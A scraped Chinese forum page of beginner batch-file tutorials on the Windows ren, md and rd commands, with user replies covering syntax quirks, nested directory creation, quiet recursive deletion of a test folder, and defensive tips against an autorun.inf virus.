  • 加为好友

lockmove 当前离线

UID
8788
帖子
45
精华
0
积分
377
PB
377
技术
0
捐助
0
阅读权限
20
在线时间
45 小时
注册时间
2009-1-17
最后登录
2017-7-13

六级士官

帖子
45
积分
377
技术
0
捐助
0
注册时间
2009-1-17
4楼
发表于 2009-2-13 19:25 | 只看该作者
哎,这文章出的太慢了.我以前卡死在 "旧文件可以使用绝对路径，也可以使用相对路径，但是，新文件名不能使用任何路径" 我前后都写了绝对路径,害的我又查不出什么问题.真是郁闷死了
回复 引用

评分 报告 TOP

g0147009
  • 发短消息
  • 加为好友

g0147009 当前离线

UID
8667
帖子
3
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2009-1-12
最后登录
2011-12-30

二级士官

帖子
3
积分
170
技术
0
捐助
0
注册时间
2009-1-12
5楼
发表于 2009-2-19 10:55 | 只看该作者
删除文件夹怎么删
回复 引用

评分 报告 TOP

hgj9999
  • 发短消息
  • 加为好友

hgj9999 当前离线

UID
6519
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
21 小时
注册时间
2008-11-10
最后登录
2014-12-2

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2008-11-10
6楼
发表于 2009-2-19 11:33 | 只看该作者
原帖由 lockmove 于 2009-2-13 19:25 发表
哎,这文章出的太慢了.我以前卡死在 "旧文件可以使用绝对路径，也可以使用相对路径，但是，新文件名不能使用任何路径" 我前后都写了绝对路径,害的我又查不出什么问题.真是郁闷死了

其实仔细看一下ren的帮助也可以发出嘛

Renames a file or files.
RENAME [drive:][path]filename1 filename2.
REN [drive:][path]filename1 filename2.
Note that you cannot specify a new drive or path for your destination file.

但是它下面那个Note，说实话觉得不严谨。a new driver or path?
按它上面给出的两行用法，哪怕是当前的路径也是不可以有的

微软的帮助，再次汗一个
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
7楼
发表于 2009-2-24 13:46 | 只看该作者
学习完毕，又得点皮毛。
活到老，学到老；终身学习！！
回复 引用

评分 报告 TOP

hover521
  • 发短消息
  • 加为好友

hover521 当前离线

UID
16199
帖子
4
精华
0
积分
141
PB
141
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2009-7-31
最后登录
2009-8-18

一级士官

帖子
4
积分
141
技术
0
捐助
0
注册时间
2009-7-31
8楼
发表于 2009-7-31 15:46 | 只看该作者
ren 楼主.txt 很强大.txt 呵呵，写的很生动，学习了！
回复 引用

评分 报告 TOP

yettybetty
  • 发短消息
  • 加为好友

yettybetty 当前离线

UID
17707
帖子
9
精华
0
积分
118
PB
118
技术
0
捐助
0
阅读权限
20
来自
江西
在线时间
0 小时
注册时间
2009-9-23
最后登录
2009-9-23

一级士官

帖子
9
积分
118
技术
0
捐助
0
注册时间
2009-9-23
9楼
发表于 2009-9-23 11:25 | 只看该作者
原帖由 namejm 于 12-2-2009 22:52 发表
    呵呵，确实弄错了，又忘记了先做测试再正式发代码。其实这个问题以前曾在CN-DOS上有过讨论，你这一提醒我又想起来了，是这篇帖子：这是不是ren的一个bug？http://www.cn-dos.net/forum/viewthread.php?tid=29538

这个帖子看不懂 楼主能不能在浅显的讲下？
回复 引用

评分 报告 TOP

abeltan
  • 发短消息
  • 加为好友

abeltan 当前离线

UID
15294
帖子
5
精华
0
积分
110
PB
110
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-7-8
最后登录
2012-6-8

一级士官

帖子
5
积分
110
技术
0
捐助
0
注册时间
2009-7-8
10楼
发表于 2009-10-28 11:42 | 只看该作者
还是楼主讲的易懂，。。。
回复 引用

评分 报告 TOP

syqtkj
  • 发短消息
  • 加为好友

syqtkj 当前离线

UID
20343
帖子
4
精华
0
积分
110
PB
110
技术
0
捐助
0
阅读权限
20
在线时间
14 小时
注册时间
2009-12-1
最后登录
2009-12-25

一级士官

帖子
4
积分
110
技术
0
捐助
0
注册时间
2009-12-1
11楼
发表于 2009-12-3 15:54 | 只看该作者

修改文件名

列如:我想把某目录下的一个文件夹下所有文件夹里的文件,只要文件名字中带有"大家好"字样的文件全部替换成"你们好"
请问大家该如何写批命令,万分感谢!
回复 引用

评分 报告 TOP

owenlzb2004
  • 发短消息
  • 加为好友

owenlzb2004 当前离线

UID
20693
帖子
3
精华
0
积分
108
PB
108
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2009-12-9
最后登录
2009-12-25

一级士官

帖子
3
积分
108
技术
0
捐助
0
注册时间
2009-12-9
12楼
发表于 2009-12-9 09:58 | 只看该作者
请教一下，我要替换一个字母呢？比如在一个文件夹下，有50个文件名为01.txt 02.txt 03.txt .....049.txt 050.txt　我怎么能够匹配一个字母，批量修改它们的名字呢，去掉所有文件前的那个0
回复 引用

评分 报告 TOP

yujihua
  • 发短消息
  • 加为好友

yujihua 当前离线

UID
21032
帖子
2
精华
0
积分
104
PB
104
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-12-16
最后登录
2017-11-21

一级士官

帖子
2
积分
104
技术
0
捐助
0
注册时间
2009-12-16
13楼
发表于 2010-1-9 02:37 | 只看该作者

回楼上的。

@echo off
for /l %%i in (1 1 4) do ren 0%%i.bat %%i.bat
pause

把这个代码做成BAT放到你要改的那个文件夹里就可以了。
回复 引用

评分 报告 TOP

WUYAN520
  • 发短消息
  • 加为好友

WUYAN520 当前离线

UID
26987
帖子
20
精华
0
积分
310
PB
310
技术
0
捐助
0
阅读权限
20
在线时间
48 小时
注册时间
2010-6-24
最后登录
2011-1-9

五级士官

帖子
20
积分
310
技术
0
捐助
0
注册时间
2010-6-24
14楼
发表于 2010-9-5 13:40 | 只看该作者
支持下，嘿嘿，！！！！
回复 引用

评分 报告 TOP

rwliubin
  • 发短消息
  • 加为好友

rwliubin 当前离线

UID
32138
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
2 小时
注册时间
2010-11-26
最后登录
2010-12-30

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2010-11-26
15楼
发表于 2010-12-30 09:03 | 只看该作者

回复 13楼 的帖子

说的很好，学习了，谢谢
回复 引用

评分 报告 TOP

1 2 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:57, Processed in 0.042910 second(s), 8 queries, Gzip enabled.


9、创建文件夹：md

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [一日一教学]（9）创建文件夹：md
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-2-13 00:03 | 只看该作者

[一日一教学]（9）创建文件夹：md

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列9_创建文件夹：md
首发地址：http://bbs.bathome.net/viewthread.php?tid=3319
首发日期：2009.2.13
更新日期：无

上一篇：重命名文件（夹）：ren http://bbs.bathome.net/viewthread.php?tid=3318
下一篇：删除文件夹：rd http://bbs.bathome.net/viewthread.php?tid=3340

    创建文件夹使用的是md命令，它的另一个写法为mkdir（由MakeDirectory演变而来），格式为：md 文件夹名，其中，文件夹名可以使用带路径的格式。例如：md d:\test，也可以用 md test 在当前路径下建立test文件夹。

    如果要创建的文件夹带有空格或&，需要用引号把文件夹名括起来，例如：md "test abc"、md "abc&xyz"。

    如果不使用引号，又会带来什么后果呢？

    测试的结果是：

    1、如果文件夹名带空格，那么，md test abc 语句会在当前目录下创建test和abc这两个文件夹；利用这个特点，我们有时候可以收到化繁为简的奇效：如果要创建abc def xyz这三个文件夹，直接使用 md abc def xyz 就行了，而无需连写三条md语句。当然，md abc;def;xyz或者md abc,def,xyz 这样的写法也是可以的。
    2、如果文件夹名中含有&，那么，md abc&xyz 会创建abc这个文件夹，并提示说：'xyz'不是内部或外部命令，也不是可运行的程序或批处理文件，这是因为，&是复合语句的连接符号，它把前后两部分视为两条子语句了。

    忠告：如果文件夹名含有特殊符号，请不要忘记使用双引号！

    md还有一个比较方便的功能：创建中级目录。也就是说，md a\b\c这样的命令，可以在当前目录下建立文件夹a，然后，在a下建立文件夹b，b之下再建立文件夹c，一气呵成，而无需先md a之后，再cd a，然后md b，再cd b，接着cd b，然后md c。
2

评分人数

    • lengyff: 乐于助人技术 + 1
    • Hello123World: 现在回过头来看，方明白nj的高明。技术 + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

lixiaodaoaaa
  • 发短消息
  • 加为好友

lixiaodaoaaa 当前离线

UID
467
帖子
295
精华
0
积分
1142
PB
1136
技术
2
捐助
0
阅读权限
50
在线时间
266 小时
注册时间
2008-2-4
最后登录
2012-8-21

上尉

帖子
295
积分
1142
技术
2
捐助
0
注册时间
2008-2-4
2楼
发表于 2009-2-13 00:42 | 只看该作者

总结下，如下

  1. md  abdc dlasasd   asdlfjdasl
复制代码

分别建立三个文件夹

md a\b\c\d\e\f\g\g\i

意义不一样了。就是这样了
我的百度空间欢迎你
回复 引用

评分 报告 TOP

batman
  • 发短消息
  • 加为好友

batman 当前离线

考官

UID
2790
帖子
2702
精华
6
积分
14556
PB
13371
技术
175
捐助
630
阅读权限
254
在线时间
2364 小时
注册时间
2008-6-15
最后登录
2015-3-21

荣誉版主

帖子
2702
积分
14556
技术
175
捐助
630
注册时间
2008-6-15
3楼
发表于 2009-2-13 00:58 | 只看该作者
跟两个创建9级随机目录的代码，加深大家的理解：
第一个是一级一级建立的，也就是按先建a再在a中建b再在b中建c...的方式来建立
  1. @echo off&setlocal enabledelayedexpansion

  2. set "str=abcdefghijklmnopqrstuvwxyz0123456789"

  3. for /l %%a in (1,1,9) do (

  4.     for /l %%b in (1,1,9) do (

  5.         set /a a=!random!%%36

  6.         call,set "var=!var!%%str:~!a!,1%%"

  7.     )

  8.     md !var!&cd !var!&set "var="

  9. )
复制代码
第二个是一次性创建，也就是按一次建立a\b\c\d\e\...这样的方式来建立
  1. @echo off&setlocal enabledelayedexpansion

  2. set "str=abcdefghijklmnopqrstuvwxyz0123456789"

  3. for /l %%a in (1,1,9) do (

  4.     for /l %%b in (1,1,9) do (

  5.         set /a a=!random!%%36

  6.         call,set "var=!var!%%str:~!a!,1%%"

  7.     )

  8.     set "var=!var!\"

  9. )

  10. md %var:~,-1%
复制代码

[ 本帖最后由 batman 于 2009-2-13 01:29 编辑 ]
＊＊＊共同提高＊＊＊
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2009-2-13 01:13 | 只看该作者
md还有一个比较方便的功能：创建中级目录。也就是说，md a\b\c这样的命令

依稀记得这个特性是和操作系统有关的，手上有2000/98系统的朋友可以帮忙测试一下这个命令。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

hlzj88
  • 发短消息
  • 加为好友

hlzj88 当前离线

UID
6278
帖子
482
精华
0
积分
1171
PB
1094
技术
19
捐助
20
阅读权限
50
来自
青海西宁
在线时间
228 小时
注册时间
2008-11-3
最后登录
2018-6-1

上尉

帖子
482
积分
1171
技术
19
捐助
20
注册时间
2008-11-3
5楼
发表于 2009-2-13 19:38 | 只看该作者
问一下，我有个映射盘，里面有病毒，不知道名字，他的特点是两个文件 .vbs和autorun.inf，我用p删除并MD建立了带系统几种具有保护属性的autorun.inf文件夹，且在里面也建立了带点的文件夹，但这个病毒猖獗的给替换了，因此请教MD的厉害，可否让病毒能安静下来。难道这病毒还带删除autorun.inf功能吗
目的，学习批处理
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
6楼
发表于 2009-2-13 20:10 | 只看该作者
    自从以点号结尾的文件夹的秘密被公开之后，很多病毒都已经开始防着这一手，能删除以点号结尾的文件夹的病毒渐渐多起来了。病毒与反病毒始终是道高一尺魔高一丈地此消彼长着，如果你经常碰到安全方面的问题，就应该多采取一些安防措施，而不应该仅仅依靠有限的几种手段。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
7楼
发表于 2009-2-13 22:31 | 只看该作者

回复 5楼 的帖子

可以试试用cacls命令取消文件夹/文件的所有读写权限
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
8楼
发表于 2009-2-24 13:55 | 只看该作者
md可以创建多级目录，是不是只在2000\xp\2003及其后的操作系统中才能用啊
活到老，学到老；终身学习！！
回复 引用

评分 报告 TOP

freeback
  • 发短消息
  • 加为好友

freeback 当前离线

UID
10432
帖子
33
精华
0
积分
174
PB
174
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-3-13
最后登录
2012-4-15

二级士官

帖子
33
积分
174
技术
0
捐助
0
注册时间
2009-3-13
9楼
发表于 2009-3-13 23:45 | 只看该作者
可以在后面多加几个点如test.....\这样就不能被删了
回复 引用

评分 报告 TOP

huaier
  • 发短消息
  • 加为好友

huaier 当前离线

UID
12539
帖子
5
精华
0
积分
110
PB
110
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-5-1
最后登录
2009-5-4

一级士官

帖子
5
积分
110
技术
0
捐助
0
注册时间
2009-5-1
10楼
发表于 2009-5-3 18:35 | 只看该作者
终于有个看懂了学会了的命令了
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
11楼
发表于 2009-5-3 18:38 | 只看该作者

回复 8楼 的帖子

以前的操作系统是不支持这样做的
不过现在还使用98以前的系统的人恐怕不多了吧
呵呵
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
12楼
发表于 2009-5-3 18:38 | 只看该作者

回复 9楼 的帖子

能建就能删，参考：批处理中畸形文件夹和畸形文件的创建、访问、删除
http://bbs.bathome.net/thread-3885-1-1.html
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

tiansui
  • 发短消息
  • 加为好友

tiansui 当前离线

UID
14044
帖子
5
精华
0
积分
117
PB
117
技术
0
捐助
0
阅读权限
20
在线时间
58 小时
注册时间
2009-6-5
最后登录
2009-12-4

一级士官

帖子
5
积分
117
技术
0
捐助
0
注册时间
2009-6-5
13楼
发表于 2009-6-12 08:19 | 只看该作者

md命令的另一种写法

md命令的另一种写法是 md\a\b\c
回复 引用

评分 报告 TOP

Hysteria
  • 发短消息
  • 加为好友

Hysteria 当前离线

UID
16472
帖子
13
精华
0
积分
129
PB
129
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-8-8
最后登录
2009-8-28

一级士官

帖子
13
积分
129
技术
0
捐助
0
注册时间
2009-8-8
14楼
发表于 2009-8-9 14:11 | 只看该作者
遇到个怪怪的问题！
当 E:\>md abc efg 时候，会创建abc和efg两个文件夹
但是，当 E:\>md E:\abc efg时候，只有abc一个文件夹阿!
回复 引用

评分 报告 TOP

superbatboy
  • 发短消息
  • 加为好友

superbatboy 当前离线

UID
14397
帖子
5
精华
0
积分
107
PB
107
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-6-14
最后登录
2011-5-8

一级士官

帖子
5
积分
107
技术
0
捐助
0
注册时间
2009-6-14
15楼
发表于 2009-8-9 15:33 | 只看该作者
看是简单的md命令，没想到还有这么多技巧！
回复 引用

评分 报告 TOP

1 2 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:57, Processed in 0.048351 second(s), 8 queries, Gzip enabled.


10、删除文件夹：rd

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（10）删除文件夹：rd
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-2-14 17:30 | 只看该作者

[原创] [批处理命令一日一教学]（10）删除文件夹：rd

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列10_删除文件夹：rd
首发地址：http://bbs.bathome.net/viewthread.php?tid=3340
首发日期：2009.2.14
更新日期：无

上一篇：创建文件夹：md http://bbs.bathome.net/viewthread.php?tid=3319
下一篇：移动文件（夹）：move http://bbs.bathome.net/viewthread.php?tid=4820

    前面的教程中介绍过，删除文件用的是del命令，那么，是不是像ren命令通吃文件和文件夹一样，del是不是也可以删除文件夹呢？

    答案是否定的，因为删除文件夹必须使用rd命令，这叫术业有专攻^_^。

    rd的另外一个写法是rmdir，源自ReMakeDirectory。使用的方法也很简单：rd 文件夹名 即可，例如：rd test。它支持带路径的文件夹名，例如：rd d:\test。

    有时候，rd并不能很好地完成任务：你让它删除test文件夹，它却傲慢地向你翻白眼：目录不是空的。不过，这也不能怨它偷懒不干活，只是它的脾气有点怪：如果要删除的文件夹下面还有子文件，你得给rd戴顶高帽，加个 /s 参数，它才会高高兴兴地帮你做事，所以，正确的写法是：rd /s test。

    如果你是个彻头彻尾的懒鬼，光是使用 rd /s test ，可能还是对它不甚满意，因为当你在删除带子文件的文件夹的时候，CMD总是不识时务地停下来，殷勤地问你：是否确认(Y/N)?非得等你输个字符敲下回车不可。命苦不能怨政府，点背不能怨社会，谁叫rd有那么大的威力呢，它一旦耍起流氓来，那是谁也拦不住的——rd有风险，删除须谨慎啊。好在微软对那些对删除十分有把握而又懒得要命的家伙体贴入微，提供了一个十分方便的参数 /q ，它取自quiet，官方解释为：安静模式，带 /S 删除目录树时不要求确认。这次再试试：rd /q /s test，真个是：弹指一挥间，灰飞烟灭，是不是有眼不见心不烦的酣畅感？
1

评分人数

    • lixiaodaoaaa: 辛苦了。写的真形象PB + 2
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

evident
  • 发短消息
  • 加为好友

evident 当前离线

UID
9174
帖子
5
精华
0
积分
211
PB
211
技术
0
捐助
0
阅读权限
20
在线时间
16 小时
注册时间
2009-2-3
最后登录
2015-1-7

三级士官

帖子
5
积分
211
技术
0
捐助
0
注册时间
2009-2-3
2楼
发表于 2009-2-16 15:38 | 只看该作者
提个题外话，删除的东西 还能还原么？
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
3楼
发表于 2009-2-16 17:17 | 只看该作者

回复 2楼 的帖子

能
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

zjw767676
  • 发短消息
  • 加为好友

zjw767676 (心境自然)当前离线

UID
7859
帖子
274
精华
0
积分
3596
PB
3596
技术
0
捐助
0
阅读权限
80
来自
江苏常州
在线时间
458 小时
注册时间
2008-12-21
最后登录
2016-3-1

上校

帖子
274
积分
3596
技术
0
捐助
0
注册时间
2008-12-21
4楼
发表于 2009-2-16 19:24 | 只看该作者
LZ太有才了！如此教材写得像评书，令人兴趣大增！
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
5楼
发表于 2009-2-24 14:00 | 只看该作者
学习完毕，又学到了/q /s参数。楼主太有才了
活到老，学到老；终身学习！！
回复 引用

评分 报告 TOP

lwei9
  • 发短消息
  • 加为好友

lwei9 当前离线

UID
10044
帖子
2
精华
0
积分
104
PB
104
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2009-3-3
最后登录
2009-3-30

一级士官

帖子
2
积分
104
技术
0
捐助
0
注册时间
2009-3-3
6楼
发表于 2009-3-7 20:37 | 只看该作者

回复 3楼 的帖子

既然能，怎么恢复呢？
回复 引用

评分 报告 TOP

fsh6666
  • 发短消息
  • 加为好友

fsh6666 当前离线

UID
9495
帖子
17
精华
0
积分
211
PB
211
技术
0
捐助
0
阅读权限
20
在线时间
8 小时
注册时间
2009-2-13
最后登录
2013-3-10

三级士官

帖子
17
积分
211
技术
0
捐助
0
注册时间
2009-2-13
7楼
发表于 2009-3-9 14:25 | 只看该作者
学习了 谢谢楼主
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
8楼
发表于 2009-3-9 15:03 | 只看该作者

回复 6楼 的帖子

Google搜索“数据恢复”
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

bat_Baby
  • 发短消息
  • 加为好友

bat_Baby 当前离线

UID
11800
帖子
1
精华
0
积分
102
PB
102
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-4-14
最后登录
2009-4-15

一级士官

帖子
1
积分
102
技术
0
捐助
0
注册时间
2009-4-14
9楼
发表于 2009-4-14 23:00 | 只看该作者
楼主 很有教师的资质啊...哈哈。
比老师讲的好
回复 引用

评分 报告 TOP

wlq3348
  • 发短消息
  • 加为好友

wlq3348 当前离线

UID
11377
帖子
2
精华
0
积分
105
PB
105
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2009-4-4
最后登录
2010-11-13

一级士官

帖子
2
积分
105
技术
0
捐助
0
注册时间
2009-4-4
10楼
发表于 2009-4-15 15:32 | 只看该作者

受教了

老师谢谢,受教了,我现在在想猛学批处理,搜了好多资料,还是楼主讲得好
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
11楼
发表于 2009-4-26 22:28 | 只看该作者
jm兄是否考虑给rd教程加上路径含空格的情况？
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

kanfengjing
  • 发短消息
  • 加为好友

kanfengjing 当前离线

UID
12447
帖子
5
精华
0
积分
111
PB
111
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-4-29
最后登录
2015-10-4

一级士官

帖子
5
积分
111
技术
0
捐助
0
注册时间
2009-4-29
12楼
发表于 2009-4-29 09:38 | 只看该作者
前来报道。找到部队了
回复 引用

评分 报告 TOP

kirk1234
  • 发短消息
  • 加为好友

kirk1234 当前离线

UID
13797
帖子
5
精华
0
积分
110
PB
110
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2009-5-31
最后登录
2017-12-5

一级士官

帖子
5
积分
110
技术
0
捐助
0
注册时间
2009-5-31
13楼
